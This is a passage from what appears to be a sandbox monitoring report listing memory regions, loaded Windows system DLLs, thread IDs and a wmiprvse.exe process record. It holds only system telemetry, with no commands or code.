"\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1764 start_va = 0x7feff740000 end_va = 0x7feff81afff entry_point = 0x7feff740000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1765 start_va = 0x7feff820000 end_va = 0x7feff94cfff entry_point = 0x7feff820000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1766 start_va = 0x7feff950000 end_va = 0x7feff97dfff entry_point = 0x7feff950000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1767 start_va = 0x7feff990000 end_va = 0x7feff990fff entry_point = 0x7feff990000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1768 start_va = 0x7fffff60000 end_va = 0x7fffff61fff entry_point = 0x0 region_type = private name = "private_0x000007fffff60000" filename = "" Region: id = 1769 start_va = 0x7fffff62000 end_va = 0x7fffff63fff entry_point = 0x0 region_type = private name = "private_0x000007fffff62000" filename = "" Region: id = 1770 start_va = 0x7fffff64000 end_va = 0x7fffff65fff entry_point = 0x0 region_type = private name = "private_0x000007fffff64000" filename = "" Region: id = 1771 start_va = 0x7fffff66000 end_va = 0x7fffff67fff entry_point = 0x0 region_type = private name = "private_0x000007fffff66000" filename = "" Region: id = 1772 start_va = 0x7fffff6a000 end_va = 0x7fffff6bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff6a000" filename = "" Region: id = 1773 start_va = 0x7fffff70000 end_va = 0x7fffff71fff entry_point = 0x0 region_type = private name = "private_0x000007fffff70000" filename = "" Region: id = 1774 start_va = 0x7fffff72000 end_va = 0x7fffff73fff entry_point = 0x0 region_type = private name = "private_0x000007fffff72000" filename = "" Region: id = 1775 start_va = 0x7fffff76000 end_va = 0x7fffff77fff entry_point = 0x0 region_type = private name = "private_0x000007fffff76000" filename = "" Region: id = 1776 start_va = 0x7fffff7e000 end_va = 0x7fffff7ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff7e000" filename = "" Region: id = 1777 start_va = 0x7fffff80000 end_va = 0x7fffff81fff entry_point = 0x0 region_type = private name = "private_0x000007fffff80000" filename = "" Region: id = 1778 start_va = 0x7fffff82000 end_va = 0x7fffff83fff entry_point = 0x0 region_type = private name = "private_0x000007fffff82000" filename = "" Region: id = 1779 start_va = 0x7fffff86000 end_va = 0x7fffff87fff entry_point = 0x0 region_type = private name = "private_0x000007fffff86000" filename = "" Region: id = 1780 start_va = 0x7fffff8a000 end_va = 0x7fffff8bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8a000" filename = "" Region: id = 1781 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 1782 start_va = 0x7fffff90000 end_va = 0x7fffff91fff entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 1783 start_va = 0x7fffff92000 end_va = 0x7fffff93fff entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 1784 start_va = 0x7fffff94000 end_va = 0x7fffff95fff entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 1785 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 1786 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 1787 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 1788 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 1789 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 1790 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 1791 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 1792 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 1793 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 1794 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 1795 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1796 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1797 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1798 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1799 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 1800 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 1801 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1802 start_va = 0x7fffffda000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1803 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1804 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4115 start_va = 0x12a0000 end_va = 0x12a0fff entry_point = 0x0 region_type = private name = "private_0x00000000012a0000" filename = "" Region: id = 4116 start_va = 0x1910000 end_va = 0x198ffff entry_point = 0x0 region_type = private name = "private_0x0000000001910000" filename = "" Region: id = 4117 start_va = 0x23e0000 end_va = 0x245ffff entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 4118 start_va = 0x2590000 end_va = 0x260ffff entry_point = 0x0 region_type = private name = "private_0x0000000002590000" filename = "" Region: id = 4119 start_va = 0x2aa0000 end_va = 0x2b1ffff entry_point = 0x0 region_type = private name = "private_0x0000000002aa0000" filename = "" Region: id = 4120 start_va = 0x2dd0000 end_va = 0x2ecffff entry_point = 0x0 region_type = private name = "private_0x0000000002dd0000" filename = "" Region: id = 4121 start_va = 0x3540000 end_va = 0x35bffff entry_point = 0x0 region_type = private name = "private_0x0000000003540000" filename = "" Region: id = 4122 start_va = 0x3630000 end_va = 0x36affff entry_point = 0x0 region_type = private name = "private_0x0000000003630000" filename = "" Region: id = 4123 start_va = 0x3750000 end_va = 0x37cffff entry_point = 0x0 region_type = private name = "private_0x0000000003750000" filename = "" Region: id = 4124 start_va = 0x40c0000 end_va = 0x413ffff entry_point = 0x0 region_type = private name = "private_0x00000000040c0000" filename = "" Region: id = 4125 start_va = 0x4320000 end_va = 0x451ffff entry_point = 0x0 region_type = private name = "private_0x0000000004320000" filename = "" Region: id = 4126 start_va = 0x4520000 end_va = 0x459ffff entry_point = 0x0 region_type = private name = "private_0x0000000004520000" filename = "" Region: id = 4127 start_va = 0x45a0000 end_va = 0x461ffff entry_point = 0x0 region_type = private name = "private_0x00000000045a0000" filename = "" Region: id = 4128 start_va = 0x46e0000 end_va = 0x475ffff entry_point = 0x0 region_type = private name = "private_0x00000000046e0000" filename = "" Region: id = 4129 start_va = 0x7fef4680000 end_va = 0x7fef4695fff entry_point = 0x7fef4680000 region_type = mapped_file name = "ncprov.dll" filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll") Region: id = 4130 start_va = 0x7fffff5e000 end_va = 0x7fffff5ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff5e000" filename = "" Region: id = 4131 start_va = 0x7fffff68000 end_va = 0x7fffff69fff entry_point = 0x0 region_type = private name = "private_0x000007fffff68000" filename = "" Region: id = 4132 start_va = 0x7fffff6c000 end_va = 0x7fffff6dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff6c000" filename = "" Region: id = 4133 start_va = 0x7fffff6e000 end_va = 0x7fffff6ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff6e000" filename = "" Region: id = 4134 start_va = 0x7fffff74000 end_va = 0x7fffff75fff entry_point = 0x0 region_type = private name = "private_0x000007fffff74000" filename = "" Region: id = 4135 start_va = 0x7fffff78000 end_va = 0x7fffff79fff entry_point = 0x0 region_type = private name = "private_0x000007fffff78000" filename = "" Region: id = 4136 start_va = 0x7fffff7a000 end_va = 0x7fffff7bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff7a000" filename = "" Region: id = 4137 start_va = 0x7fffff7c000 end_va = 0x7fffff7dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff7c000" filename = "" Region: id = 4138 start_va = 0x7fffff84000 end_va = 0x7fffff85fff entry_point = 0x0 region_type = private name = "private_0x000007fffff84000" filename = "" Region: id = 4139 start_va = 0x7fffff88000 end_va = 0x7fffff89fff entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 4140 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 4148 start_va = 0x15e0000 end_va = 0x165ffff entry_point = 0x0 region_type = private name = "private_0x00000000015e0000" filename = "" Region: id = 4149 start_va = 0x3970000 end_va = 0x39effff entry_point = 0x0 region_type = private name = "private_0x0000000003970000" filename = "" Region: id = 4150 start_va = 0x4800000 end_va = 0x487ffff entry_point = 0x0 region_type = private name = "private_0x0000000004800000" filename = "" Region: id = 4151 start_va = 0x4890000 end_va = 0x490ffff entry_point = 0x0 region_type = private name = "private_0x0000000004890000" filename = "" Region: id = 4152 start_va = 0x7fef41a0000 end_va = 0x7fef43f2fff entry_point = 0x7fef41a0000 region_type = mapped_file name = "wuaueng.dll" filename = "\\Windows\\System32\\wuaueng.dll" (normalized: "c:\\windows\\system32\\wuaueng.dll") Region: id = 4153 start_va = 0x7fef4740000 end_va = 0x7fef49b9fff entry_point = 0x7fef4740000 region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 4154 start_va = 0x7fef67d0000 end_va = 0x7fef6840fff entry_point = 0x7fef67d0000 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 4155 start_va = 0x7fef7800000 end_va = 0x7fef7863fff entry_point = 0x7fef7800000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 4156 start_va = 0x7fef7870000 end_va = 0x7fef78e0fff entry_point = 0x7fef7870000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 4157 start_va = 0x7fefb740000 end_va = 0x7fefb75afff entry_point = 0x7fefb740000 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 4158 start_va = 0x7fffff58000 end_va = 0x7fffff59fff entry_point = 0x0 region_type = private name = "private_0x000007fffff58000" filename = "" Region: id = 4159 start_va = 0x7fffff5a000 end_va = 0x7fffff5bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff5a000" filename = "" Region: id = 4160 start_va = 0x7fffff5c000 end_va = 0x7fffff5dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff5c000" filename = "" Region: id = 4161 start_va = 0x2ed0000 end_va = 0x2fcffff entry_point = 0x0 region_type = private name = "private_0x0000000002ed0000" filename = "" Region: id = 4162 start_va = 0x77830000 end_va = 0x77836fff entry_point = 0x77830000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 4310 start_va = 0x2400000 end_va = 0x247ffff entry_point = 0x0 region_type = private name = "private_0x0000000002400000" filename = "" Region: id = 4311 start_va = 0x2ad0000 end_va = 0x2b4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002ad0000" filename = "" Region: id = 4312 start_va = 0x2fd0000 end_va = 0x304ffff entry_point = 0x0 region_type = private name = "private_0x0000000002fd0000" filename = "" Region: id = 4313 start_va = 0x3140000 end_va = 0x31bffff entry_point = 0x0 region_type = private name = "private_0x0000000003140000" filename = "" Region: id = 4314 start_va = 0x32a0000 end_va = 0x32affff entry_point = 0x0 region_type = private name = "private_0x00000000032a0000" filename = "" Region: id = 4315 start_va = 0x3640000 end_va = 0x36bffff entry_point = 0x0 region_type = private name = "private_0x0000000003640000" filename = "" Region: id = 4316 start_va = 0x3e90000 end_va = 0x408ffff entry_point = 0x0 region_type = private name = "private_0x0000000003e90000" filename = "" Region: id = 4317 start_va = 0x4910000 end_va = 0x4d0ffff entry_point = 0x0 region_type = private name = "private_0x0000000004910000" filename = "" Region: id = 4318 start_va = 0x7fefd000000 end_va = 0x7fefd007fff entry_point = 0x7fefd000000 region_type = mapped_file name = "wmsgapi.dll" filename = "\\Windows\\System32\\wmsgapi.dll" (normalized: "c:\\windows\\system32\\wmsgapi.dll") Region: id = 4319 start_va = 0x7fffff7a000 end_va = 0x7fffff7bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff7a000" filename = "" Region: id = 4320 start_va = 0x7fffff88000 end_va = 0x7fffff89fff entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 4321 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 4322 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 4323 start_va = 0x4d10000 end_va = 0x510ffff entry_point = 0x0 region_type = private name = "private_0x0000000004d10000" filename = "" Region: id = 4324 start_va = 0x7fefb720000 end_va = 0x7fefb72cfff entry_point = 0x7fefb720000 region_type = mapped_file name = "wups.dll" filename = "\\Windows\\System32\\wups.dll" (normalized: "c:\\windows\\system32\\wups.dll") Region: id = 4325 start_va = 0x7fefb730000 end_va = 0x7fefb73efff entry_point = 0x7fefb730000 region_type = mapped_file name = "wups2.dll" filename = "\\Windows\\System32\\wups2.dll" (normalized: "c:\\windows\\system32\\wups2.dll") Thread: id = 33 os_tid = 0x560 Thread: id = 34 os_tid = 0x54c Thread: id = 35 os_tid = 0x51c Thread: id = 36 os_tid = 0x42c Thread: id = 37 os_tid = 0x370 Thread: id = 38 os_tid = 0x784 Thread: id = 39 os_tid = 0x758 Thread: id = 40 os_tid = 0x6fc Thread: id = 41 os_tid = 0x6f0 Thread: id = 42 os_tid = 0x6e4 Thread: id = 43 os_tid = 0x6d4 Thread: id = 44 os_tid = 0x6d0 Thread: id = 45 os_tid = 0x6cc Thread: id = 46 os_tid = 0x6c4 Thread: id = 47 os_tid = 0x6b8 Thread: id = 48 os_tid = 0x6b0 Thread: id = 49 os_tid = 0x684 Thread: id = 50 os_tid = 0x494 Thread: id = 51 os_tid = 0x450 Thread: id = 52 os_tid = 0x444 Thread: id = 53 os_tid = 0x410 Thread: id = 54 os_tid = 0x40c Thread: id = 55 os_tid = 0x408 Thread: id = 56 os_tid = 0x14c Thread: id = 57 os_tid = 0x37c Thread: id = 58 os_tid = 0x11c Thread: id = 59 os_tid = 0xf0 Thread: id = 60 os_tid = 0x3f8 Thread: id = 61 os_tid = 0x3ec Thread: id = 62 os_tid = 0x3a0 Thread: id = 63 os_tid = 0x394 Thread: id = 64 os_tid = 0x390 Thread: id = 65 os_tid = 0x38c Thread: id = 66 os_tid = 0x380 Thread: id = 67 os_tid = 0x378 Thread: id = 68 os_tid = 0xb70 Thread: id = 69 os_tid = 0xb74 Thread: id = 70 os_tid = 0xb78 Thread: id = 71 os_tid = 0xb7c Thread: id = 151 os_tid = 0x95c Thread: id = 152 os_tid = 0x93c Thread: id = 153 os_tid = 0x930 Thread: id = 154 os_tid = 0x934 Thread: id = 155 os_tid = 0x938 Thread: id = 156 os_tid = 0x92c Thread: id = 157 os_tid = 0x928 Thread: id = 158 os_tid = 0x3d8 Thread: id = 159 os_tid = 0x690 Thread: id = 160 os_tid = 0x96c Thread: id = 163 os_tid = 0xa24 Thread: id = 164 os_tid = 0x978 Thread: id = 168 os_tid = 0xa98 Thread: id = 169 os_tid = 0xac0 Thread: id = 170 os_tid = 0xaa8 Thread: id = 171 os_tid = 0xae8 Thread: id = 172 os_tid = 0xad0 Thread: id = 173 os_tid = 0xae0 Thread: id = 174 os_tid = 0xac8 Thread: id = 175 os_tid = 0xba4 Thread: id = 176 os_tid = 0xb68 Thread: id = 177 os_tid = 0xb6c Thread: id = 192 os_tid = 0xa04 Thread: id = 195 os_tid = 0x4e4 Thread: id = 196 os_tid = 0x4f8 Thread: id = 197 os_tid = 0x804 Thread: id = 198 os_tid = 0x274 Thread: id = 199 os_tid = 0x4f0 Thread: id = 200 os_tid = 0x808 Thread: id = 201 os_tid = 0x80c Thread: id = 202 os_tid = 0x710 Thread: id = 203 os_tid = 0x704 Thread: id = 204 os_tid = 0x74c Thread: id = 205 os_tid = 0x6c0 Thread: id = 206 os_tid = 0xc0 Thread: id = 207 os_tid = 0xb58 Thread: id = 208 os_tid = 0xb40 Thread: id = 209 os_tid = 0xb48 Process: id = "29" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x48cd5000" os_pid = "0xb80" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "28" os_parent_pid = "0x374" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:0004e465" [0xc000000f] Region: id = 1807 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1808 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1809 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1810 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1811 start_va = 0x50000 end_va = 0x50fff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1812 start_va = 0x60000 end_va = 0x66fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1813 start_va = 0x70000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 1814 start_va = 0x170000 end_va = 0x171fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 1815 start_va = 0x180000 end_va = 0x180fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 1816 start_va = 0x190000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 1817 start_va = 0x210000 end_va = 0x276fff entry_point = 0x210000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1818 start_va = 0x280000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 1819 start_va = 0x380000 end_va = 0x380fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 1820 start_va = 0x390000 end_va = 0x39ffff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 1821 start_va = 0x3a0000 end_va = 0x527fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 1822 start_va = 0x530000 end_va = 0x6b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000530000" filename = "" Region: id = 1823 start_va = 0x6c0000 end_va = 0x77ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Region: id = 1824 start_va = 0x780000 end_va = 0x87ffff entry_point = 0x0 region_type = private name = "private_0x0000000000780000" filename = "" Region: id = 1825 start_va = 0x880000 end_va = 0x880fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000880000" filename = "" Region: id = 1826 start_va = 0x8f0000 end_va = 0x96ffff entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 1827 start_va = 0x970000 end_va = 0xc3efff entry_point = 0x970000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1828 start_va = 0xc40000 end_va = 0x1032fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c40000" filename = "" Region: id = 1829 start_va = 0x10c0000 end_va = 0x113ffff entry_point = 0x0 region_type = private name = "private_0x00000000010c0000" filename = "" Region: id = 1830 start_va = 0x11f0000 end_va = 0x126ffff entry_point = 0x0 region_type = private name = "private_0x00000000011f0000" filename = "" Region: id = 1831 start_va = 0x12b0000 end_va = 0x132ffff entry_point = 0x0 region_type = private name = "private_0x00000000012b0000" filename = "" Region: id = 1832 start_va = 0x13c0000 end_va = 0x143ffff entry_point = 0x0 region_type = private name = "private_0x00000000013c0000" filename = "" Region: id = 1833 start_va = 0x1450000 end_va = 0x14cffff entry_point = 0x0 region_type = private name = "private_0x0000000001450000" filename = "" Region: id = 1834 start_va = 0x1510000 end_va = 0x158ffff entry_point = 0x0 region_type = private name = "private_0x0000000001510000" filename = "" Region: id = 1835 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x77450000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1836 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x77550000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1837 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1838 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1839 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1840 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1841 start_va = 0xffcb0000 end_va = 0xffd0efff entry_point = 0xffcb0000 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 1842 start_va = 0x7fef6e90000 end_va = 0x7fef6ea5fff entry_point = 0x7fef6e90000 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 1843 start_va = 0x7fef7020000 end_va = 0x7fef7033fff entry_point = 0x7fef7020000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1844 start_va = 0x7fef7320000 end_va = 0x7fef732efff entry_point = 0x7fef7320000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1845 start_va = 0x7fef7330000 end_va = 0x7fef7356fff entry_point = 0x7fef7330000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 1846 start_va = 0x7fef7360000 end_va = 0x7fef7441fff entry_point = 0x7fef7360000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1847 start_va = 0x7fef7490000 end_va = 0x7fef7515fff entry_point = 0x7fef7490000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 1848 start_va = 0x7fefb520000 end_va = 0x7fefb54cfff entry_point = 0x7fefb520000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1849 start_va = 0x7fefcbb0000 end_va = 0x7fefcbf6fff entry_point = 0x7fefcbb0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1850 start_va = 0x7fefceb0000 end_va = 0x7fefcec6fff entry_point = 0x7fefceb0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1851 start_va = 0x7fefd4b0000 end_va = 0x7fefd4befff entry_point = 0x7fefd4b0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1852 start_va = 0x7fefd5a0000 end_va = 0x7fefd5b3fff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1853 start_va = 0x7fefd920000 end_va = 0x7fefd98afff entry_point = 0x7fefd920000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1854 start_va = 0x7fefdb10000 end_va = 0x7fefdbaefff entry_point = 0x7fefdb10000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1855 start_va = 0x7fefdbb0000 end_va = 0x7fefdc86fff entry_point = 0x7fefdbb0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1856 start_va = 0x7fefdc90000 end_va = 0x7fefdcf6fff entry_point = 0x7fefdc90000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1857 start_va = 0x7fefdd00000 end_va = 0x7fefddc8fff entry_point = 0x7fefdd00000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1858 start_va = 0x7fefddf0000 end_va = 0x7fefdff2fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1859 start_va = 0x7fefe000000 end_va = 0x7fefe098fff entry_point = 0x7fefe000000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1860 start_va = 0x7fefe0a0000 end_va = 0x7fefe1a8fff entry_point = 0x7fefe0a0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1861 start_va = 0x7fefe1b0000 end_va = 0x7fefe201fff entry_point = 0x7fefe1b0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1862 start_va = 0x7fefe330000 end_va = 0x7fefe34efff entry_point = 0x7fefe330000 region_type = 